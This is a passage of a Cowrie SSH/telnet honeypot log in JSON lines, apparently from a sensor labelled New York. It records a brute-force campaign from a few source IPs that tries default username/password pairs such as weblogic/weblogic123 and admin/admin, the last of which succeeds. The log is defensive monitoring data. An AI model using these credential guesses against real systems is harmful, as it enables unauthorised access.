es256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:02.936311Z","src_ip":"192.109.200.237","session":"77abc542c007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:03.186740Z","src_ip":"192.109.200.237","session":"77abc542c007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:04.273487Z","src_ip":"192.109.200.237","session":"77abc542c007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33770,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e28173c351a","protocol":"ssh","message":"New connection: 192.109.200.237:33770 (159.203.135.109:22) [session: 4e28173c351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:06.360588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:06.365496Z","src_ip":"192.109.200.237","session":"4e28173c351a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:06.448261Z","src_ip":"192.109.200.237","session":"4e28173c351a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:06.695262Z","src_ip":"192.109.200.237","session":"4e28173c351a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:07.780735Z","src_ip":"192.109.200.237","session":"4e28173c351a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"411741748c6b","protocol":"ssh","message":"New connection: 192.109.200.237:33790 (159.203.135.109:22) [session: 411741748c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:09.932961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:09.939352Z","src_ip":"192.109.200.237","session":"411741748c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:10.021896Z","src_ip":"192.109.200.237","session":"411741748c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:10.271102Z","src_ip":"192.109.200.237","session":"411741748c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:11.356713Z","src_ip":"192.109.200.237","session":"411741748c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f617e8acfc","protocol":"telnet","message":"New connection: 50.6.8.71:57730 (10.17.0.5:23) [session: 98f617e8acfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:12.095277Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47852,"dst_ip":"159.203.135.109","dst_port":22,"session":"23bbadd5d7d8","protocol":"ssh","message":"New connection: 192.109.200.237:47852 (159.203.135.109:22) [session: 23bbadd5d7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:13.305570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:13.309448Z","src_ip":"192.109.200.237","session":"23bbadd5d7d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:13.390926Z","src_ip":"192.109.200.237","session":"23bbadd5d7d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:13.635681Z","src_ip":"192.109.200.237","session":"23bbadd5d7d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:14.720992Z","src_ip":"192.109.200.237","session":"23bbadd5d7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ca3744de5c","protocol":"telnet","message":"New connection: 50.6.8.71:57740 (10.17.0.5:23) [session: f2ca3744de5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:14.911600Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47878,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b12dcba7548","protocol":"ssh","message":"New connection: 192.109.200.237:47878 (159.203.135.109:22) [session: 3b12dcba7548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:16.711338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:16.716263Z","src_ip":"192.109.200.237","session":"3b12dcba7548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:16.817616Z","src_ip":"192.109.200.237","session":"3b12dcba7548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:17.196561Z","src_ip":"192.109.200.237","session":"3b12dcba7548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:18.282491Z","src_ip":"192.109.200.237","session":"3b12dcba7548","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:19.653995Z","src_ip":"103.242.3.105","session":"7cb5ba3ab0dd","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:19.704554Z","src_ip":"103.242.3.105","session":"7cb5ba3ab0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d39b6d9f3c","protocol":"ssh","message":"New connection: 192.109.200.237:59642 (159.203.135.109:22) [session: 99d39b6d9f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:20.362488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:20.367768Z","src_ip":"192.109.200.237","session":"99d39b6d9f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:20.451057Z","src_ip":"192.109.200.237","session":"99d39b6d9f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:20.701425Z","src_ip":"192.109.200.237","session":"99d39b6d9f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:21.789254Z","src_ip":"192.109.200.237","session":"99d39b6d9f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40484,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c9774f6783","protocol":"telnet","message":"New connection: 50.6.8.71:40484 (10.17.0.5:23) [session: 13c9774f6783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:21.845735Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59646,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d94562a02c","protocol":"ssh","message":"New connection: 192.109.200.237:59646 (159.203.135.109:22) [session: 48d94562a02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:23.739731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:23.745748Z","src_ip":"192.109.200.237","session":"48d94562a02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:23.836936Z","src_ip":"192.109.200.237","session":"48d94562a02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:24.189795Z","src_ip":"192.109.200.237","session":"48d94562a02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:25.274497Z","src_ip":"192.109.200.237","session":"48d94562a02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.60340142250061,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:25.316341Z","src_ip":"50.6.8.71","session":"163b907a72b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27935814857483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:25.661504Z","src_ip":"50.6.8.71","session":"58cad5d86a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59660,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e763e87c00","protocol":"ssh","message":"New connection: 192.109.200.237:59660 (159.203.135.109:22) [session: 90e763e87c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:27.375621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:27.380501Z","src_ip":"192.109.200.237","session":"90e763e87c00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:27.462721Z","src_ip":"192.109.200.237","session":"90e763e87c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:27.709152Z","src_ip":"192.109.200.237","session":"90e763e87c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:28.795848Z","src_ip":"192.109.200.237","session":"90e763e87c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08460259437561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:30.445215Z","src_ip":"50.6.8.71","session":"3fdbfa5367f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41366,"dst_ip":"159.203.135.109","dst_port":22,"session":"b28ae23e804d","protocol":"ssh","message":"New connection: 192.109.200.237:41366 (159.203.135.109:22) [session: b28ae23e804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:30.788357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:30.794001Z","src_ip":"192.109.200.237","session":"b28ae23e804d","protocol":"ssh"}
